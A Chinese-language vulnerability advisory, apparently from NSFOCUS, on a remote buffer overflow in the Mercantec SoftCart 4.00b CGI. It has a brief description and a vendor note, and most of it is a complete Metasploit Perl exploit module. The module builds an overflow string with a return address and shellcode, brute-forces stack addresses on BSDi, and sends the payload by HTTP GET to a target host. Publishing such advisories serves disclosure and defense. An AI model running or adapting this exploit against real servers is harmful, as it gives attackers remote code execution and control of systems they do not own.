安全研究

安全漏洞
SoftCart SoftCart.exe CGI远程缓冲区溢出漏洞

发布日期:2004-08-15
更新日期:2006-02-06

受影响系统:
Mercantec SoftCart 4.00b
描述:
BUGTRAQ  ID: 10926

SoftCart是一款Mercantec公司出品的电子商务软件包。

SoftCart在处理用户请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

SoftCart.exe在处理请求中带的超长参数时存在缓冲区溢出,攻击者可能通过溢出攻击获取服务器的控制。

<*来源:trew (trew@exploit.us
        skape (mmiller@hick.org
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mercantec_softcart;

use strict;
use base "Msf::Exploit";

my $advanced =
  {
    'StackBottom'   => [ '', 'Start address for stack ret.'                ],
    'StackTop'      => [ '', 'Stop address for stack ret.'                 ],
    'StackStep'     => [ 0,  'Number of bytes to increment between steps.' ],
    'BruteWait'     => [ 0,  'Number of seconds to wait between steps.'    ],
  };

my $info =
  {
    'Name'          => 'Mercantec SoftCart CGI Overflow',
    'Version'       => '$Revision: 1.12 $',
    'Authors'       =>
      [
        'skape <mmiller [at] hick.org>',
        'trew <trew [at] exploit.us>'
      ],
      
    'Description'   =>
      qq{
            This is an exploit for an undisclosed buffer overflow
            in the SoftCart.exe CGI as shipped with Mercantec's shopping
            cart software.  It is possible to execute arbitrary code by
            passing a malformed CGI parameter in an HTTP GET request.
            This issue is known to affect SoftCart version 4.00b.
},

    'Arch'          => [ 'x86' ],
    'OS'            => [ 'bsdi' ],
    'Priv'          => 0,

    'UserOpts'      =>
      {
        'RHOST'   => [ 1, 'ADDR', 'The target HTTP server address'                         ],
        'RPORT'   => [ 1, 'PORT', 'The target HTTP server port',   80                      ],
        'VHOST'   => [ 1, 'DATA', 'The target HTTP virtual host',  'auto'                  ],
        'URI'     => [ 1, 'DATA', 'The target CGI URI',            '/cgi-bin/SoftCart.exe' ],
      },

    'Payload'       =>
      {
        'Space'   => 1000, # tons
        'MinNops' => 16,
        'BadChars'=> "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e" .
          "\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b" .
          "\x7d\x28\x29\x3f\x5d\x5b\x00",
        'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
      },

    'Refs'          =>
      [
        ['OSVDB', '9011'],
        ['MIL',   '38'],
      ],

    'DefaultTarget' => -1,

    'Targets'       =>
      [

        # Name                   Bottom/Ret  Top
        [ 'BSDi/4.3 Bruteforce', 0xefbf3000, 0xefbffffc ],
        [ 'BSDi/4.3',            0xefbf4b8e, 0x0        ],
      ],
      
    'Keys'  => ['softcart'],

    'DisclosureDate' => 'Aug 19 2004',
  };

sub new
{
    my $class = shift;
    my $self;

    $self = $class->SUPER::new(
        {
            'Info'     => $info,
            'Advanced' => $advanced,
        },
        @_);

    return $self;
}

#
# We must fork our child before doing fun stuff.
#
sub PayloadPrepend
{
    my $self = shift;

    return "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00" .
      "\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00" .
      "\x00\x07\x00";
}

sub Exploit
{
    my $self = shift;
    my $targetIdx  = $self->GetVar('TARGET');
    my $payload    = $self->GetVar('EncodedPayload');
    my $shellcode  = $payload->Payload;
    my $target     = $self->Targets->[$targetIdx];
    my $ret        = $target->[1];
    my $valid;

    $self->PrintLine('[*] Trying exploit target ' . $target->[0]);

    if ($target->[0] =~ /Bruteforce/)
    {
        my $stackTop    = hex($self->GetLocal('StackTop'));
        my $stackBottom = hex($self->GetLocal('StackBottom'));
        my $stackStep   = $self->GetLocal('StackStep');
        my $wait        = $self->GetLocal('BruteWait');

        $stackBottom = $target->[1] if ($stackBottom == 0);
        $stackTop    = $target->[2] if ($stackTop == 0);
        $stackStep   = $payload->NopsLength if ($stackStep == 0);

        $self->PrintLine(sprintf('[*] Brute forcing %.8x => %.8x (step %d)...',
                $stackBottom, $stackTop, $stackStep));

        # Loop through addresses, incrementing by stackStep each interval
        for ($ret = $stackBottom, $valid = $ret + length($shellcode);
            $ret < $stackTop;
            $ret = $self->StepAddress(Address => $ret, StepSize => $stackStep, Direction => 1),
            $valid = $self->StepAddress(Address => $valid, StepSize => $stackStep, Direction => 1))
        {

            # Wrap valid around if it goes past the top
            $valid = $stackBottom if ($valid >= $stackTop);

            $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));

            last if (not defined($self->transmitExploit(target => $target,
                        shellcode => $shellcode, ret => $ret, valid => $valid)));

            sleep($wait);
        }
    }
    else
    {
        $valid = $ret + length($shellcode);

        $self->transmitExploit(target => $target,
            shellcode => $shellcode, ret => $ret, valid => $valid);
    }
}

sub transmitExploit
{
    my $self = shift;
    my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
    my $targetHost = $self->GetVar('RHOST');
    my $targetPort = $self->GetVar('RPORT');
    my $vhost      = $self->GetVar('VHOST');
    my $uri        = $self->GetVar('URI');
    my $bof;
    my $s;

    $vhost = $targetHost if (not defined($vhost) or $vhost eq 'auto');

    # Build payload
    $bof  = "MAA+scstoreB";
    $bof .= "A" x (524 - length($bof));
    $bof .= pack("V", $ret);
    $bof .= "MSF!";
    $bof .= pack("V", $valid);
    $bof .= $shellcode;

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $targetHost,
        'PeerPort'  => $targetPort,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintError;
        return;
    }

    # << pow! >>
    $s->Send("GET $uri?$bof HTTP/1.0\r\n" .
          "Host: $vhost\r\n"           .
          "\r\n");

    return 1;
}

1;

建议:
厂商补丁:

Mercantec
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mercantec.com/default.asp?action=article&ID=21

浏览次数:2650
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障